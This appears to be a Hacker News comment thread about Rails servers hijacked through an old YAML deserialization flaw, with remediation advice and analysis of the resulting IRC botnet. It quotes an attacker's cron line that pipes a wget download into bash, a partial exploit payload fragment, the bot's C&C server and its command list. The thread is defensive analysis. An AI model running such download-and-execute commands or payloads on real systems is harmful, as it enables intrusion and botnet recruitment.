Exploitation of an old Rails vulnerability

https://gist.github.com/ismasan/5647955

by boonez123 • 13 years ago

81 49 13 years ago

gist.github.com

boonez1233• 13 years ago

In my cron jobs the hacker took out all my jobs and put in line that goes like wget -0 colkolduld.com/someurl | bash and then executes the same 3 more times. I think this may be an nginx issue with allowing the compiling of c code on the server then allowing remote execution via a url. Not sure.

meowface3• 13 years ago

If you're running Rails, then it's Rails that's vulnerable.

AdrianRossouw• 13 years ago

take the system offline, install fresh o/s on new server, re-deploy clean copy of code.

slowly and carefully move only non-executable files over (uploaded images, post-inspection database dumps).

if you deployed using git checkouts and the like you will also have to manually go through all the commits/branches to make sure they didnt muck about with your code to install a backdoor.

boonez1233• 13 years ago

I think this exploit affects all Linux based servers running Nginx that haven't upgraded to 1.5.0. Passenger is using 1.4.2 which would mean that if you use Rails you are vulnerable. I'm not 100% sure, but neither is anyone else. A fresh install won't help for this hack as it's through the URL. You can see more in the github.com url about the exploit. I don't think the author of github knows the solution yet either.

15charusername• 13 years ago

1.4.2 is safe, 1.4.1 contained the fix for CVE-2013-2028

fhars• 13 years ago

Some people in that thread are running rails 3.2.9 end even 3.2.3, and the cited malicious requests contain url paramters the dedoce to ?id=\n---\n!ruby/object:Gem::Requirement\nrequirements:\n -

I.e., they have been grossly negligient in their server maintenance for most of this year. http://www.kalzumeus.com/2013/01/31/what-the-rails-security-...

[Edit: although at least one mentions 3.2.11, which should have that particular vulnerability fixed, so it will probably at least sometimes be someting else.]

packetlss• 13 years ago

Yes. Looks like a case of explotation of CVE-2013-0156.

tomfakes3• 13 years ago

On exactly this subject, I'm in the process of building a SaaS app that will alert you of security vulnerabilities in Gems in your Rails and other Ruby apps.

http://www.rubyaudit.com

Hates_• 13 years ago

Doesn't seem to be anywhere to sign up.

trustfundbaby2• 13 years ago

You should know that New Relic is already doing this with Rails versions right now

boonez1233• 13 years ago

This could be the solution: http://news.softpedia.com/news/Nginx-1-4-1-and-1-5-0-Release.... I think I was on 1.1 or something then did "gem update passenger"

patio11• 13 years ago

I'm on an iPhone and going to dinner in a second, but can someone tell them that Gem::Requirements line is a pretty dead ringer for the YAML exploits from January? Servers that haven't been owned yet should update Rails, see my article from January. Owned servers need to get rebuilt from metal, as per usual.

glimcat• 13 years ago

Article: "What The Rails Security Issue Means For Your Startup"

http://www.kalzumeus.com/2013/01/31/what-the-rails-security-...

InclinedPlane• 13 years ago

Pssst, patio11 wrote that.

Regardless, it's an absolute must read for anyone even thinking about using rails.

lbarrow• 13 years ago

It's surprising how often people rely on their own obscurity when they hear about security vulnerabilities. Sure, I could go upgrade Rails, but why bother? I'm only using it for a personal project.

The reality is that bad actors scan the pubic Internet for exploitable servers all the time. It's easy, it's cheap, and it's a very effective way to grow your botnet. If you're on the Internet, it doesn't matter how obscure you are: someone will eventually probe you.

kawsper• 13 years ago

Seriously, these guys have been completely out of the loop.

> I think we have to warm all RoR developers...

meritt• 13 years ago

Update Rails. Exploit of known issues.

benbeltran• 13 years ago

The double unescape in the comments felt kinda like "Enhance!" "Enhance!"

orf• 13 years ago

Looking at the source code for the IRC bot installed on all compromised system shows the IRC server it connects to. The source is here: http://88.198.20.247/k.c

The IRC server is cvv4you.ru:6667 #rails There are currently 2164 idling bots on there. Holy fuck. Its run by a guy with the handle "ryan".

Connect to it and see for yourself: http://chat.mibbit.com/

voltagex_2• 13 years ago

Looking at SpamHaus, that IP range is owned by a company that provides professional botnet hosting. Approach with caution.

outworlder• 13 years ago

Professional botnet hosting? Didn't even know there was such a thing.

How come these guys are even operational?

300bps• 13 years ago

Here are the commands for the bot:

NICK <nick> = Changes the nick of the client

SERVER <server> = Changes servers

KILL = Kills the client

GET <http address> <save as> = Downloads a file off the web and saves it onto the hd

HELP = Displays this

IRC <command> = send_msgs this command to the server

SH <command> = Executes a command

I'm a little light on IRC proxies right now - anyone care to test if you can kill all 2,164 bots in one easy peasy MIRC script?

dopamean3• 13 years ago

you cant. it seems that they only respond to messages in the channel #rails and the channel is set +m

epochwolf• 13 years ago

This botnet has been attacking servers at my work for the last few days. I'm glad we upgraded within a month of the security patches.

meowface3• 13 years ago

This is a botnet being ran, at least in part, by hacking group HTP.

ryan is one of its lead members. Other evidence is the fact that "starfall.cu.cc" is one domain being used to grab this script: http://starfall.cu.cc/chips.txt

Starfall is another one of their members.

They're the people who breached Linode, MIT, nmap, and a few other places recently. See: http://www.exploit-db.com/papers/25306/

I'm surprised no one's thought of mass exploiting all those RoR servers months ago, unless those have all been there for months.

comex• 13 years ago

Some notes other than what has already been said:

- Both IRC servers are currently down (connection refused).

- The C code is full of bugs, but they're probably only exploitable if you can get either a nick more than 1024 characters or a full line more than 4096 characters (in the latter case, aside from there being an off-by-one error, the data after 4096 characters will be treated as a command, so you could spoof a privmsg and cause the bot to execute a shell command).

kanzure• 13 years ago

Why is that whole thread full of rails people who don't know how to format code with markdown? What is going on here?

mrkmcknz• 13 years ago

Because rails people don't know markdown. In all seriousness I'm assuming that those guys are panicking right about now and can't type fast enough let alone worry about the slightest bit of code formatting.

dopamean3• 13 years ago

The guy is putting together a botnet. Controlling it on cvv4you.ru:6667 channel #rails.

voltagex_2• 13 years ago

C&C is hosted by infiumhost.com, seems to be professional botnet hosting. Approach with caution.

dopamean3• 13 years ago

It's incredible to me that that is really a thing.

zapt02• 13 years ago

Source on that? Just looks like a regular VPS host to me.

vertis• 13 years ago

I've been watching people probing my servers.

If you're using Rails externally and you haven't upgraded it, it's only a matter of time till it gets hacked.

Could be the most obvious statement ever, but there you have it.

mattangriffel• 13 years ago

How can you check if your Rails app has been exploited?

karlkatzke2• 13 years ago

I'm finding it intensely amusing that most of the people around here don't realize that there are pay-for-use botnet services out there, that they are the most likely people that will own your server, that they're continuously on the leading edge of discovering and exploiting security vulnerabilities, and that it's not an "option" to continue to use a software version that has security vulnerabilities.

If I had to guess, I'd assume that Hacker News is frequented by a lot of programmers running startups who don't have and don't know any operations/infrastructure people. Here's a budget item: You can't afford to not have and not know any ops/infra people. Those people should be part of your team from the beginning so that they can put their foot down when you want to roll something that won't scale or want to avoid updating software versions because it might break something and you're crunching. If you think you can get away with those things, you're setting yourself up for a fall, and your customers' data will be exposed when you fall. If more VCs did diligence at the technical level, would more founders be likely to pay attention to infrastructure and operations as anything besides an expense that "can't be that difficult" to avoid by DIY?

trustfundbaby2• 13 years ago

Ever since word of regressions (performance and otherwise) in 3.2.13 https://news.ycombinator.com/item?id=5409978 I've been waiting on news of 3.2.14 ... I wonder if anyone has word on when to expect that, because the vulnerabilities patched in 3.2.13 that we can't take advantage of, make me a little nervous.

thibaut_barrere• 13 years ago

You can use 3.2.12 with the security patches added, like Discourse is doing:

https://github.com/discourse/discourse/commits/master/lib/fr...

(to be used as an initializer)

pairing• 13 years ago

Subscribe to the ruby on rails security mailing list if you haven't already: https://groups.google.com/forum/?fromgroups#!forum/rubyonrai....

I also started using Gemnasium which does a good job of notifying me about security patches in my app's dependencies along with keeping me up to date with gem releases.

Exploitation of an old Rails vulnerability

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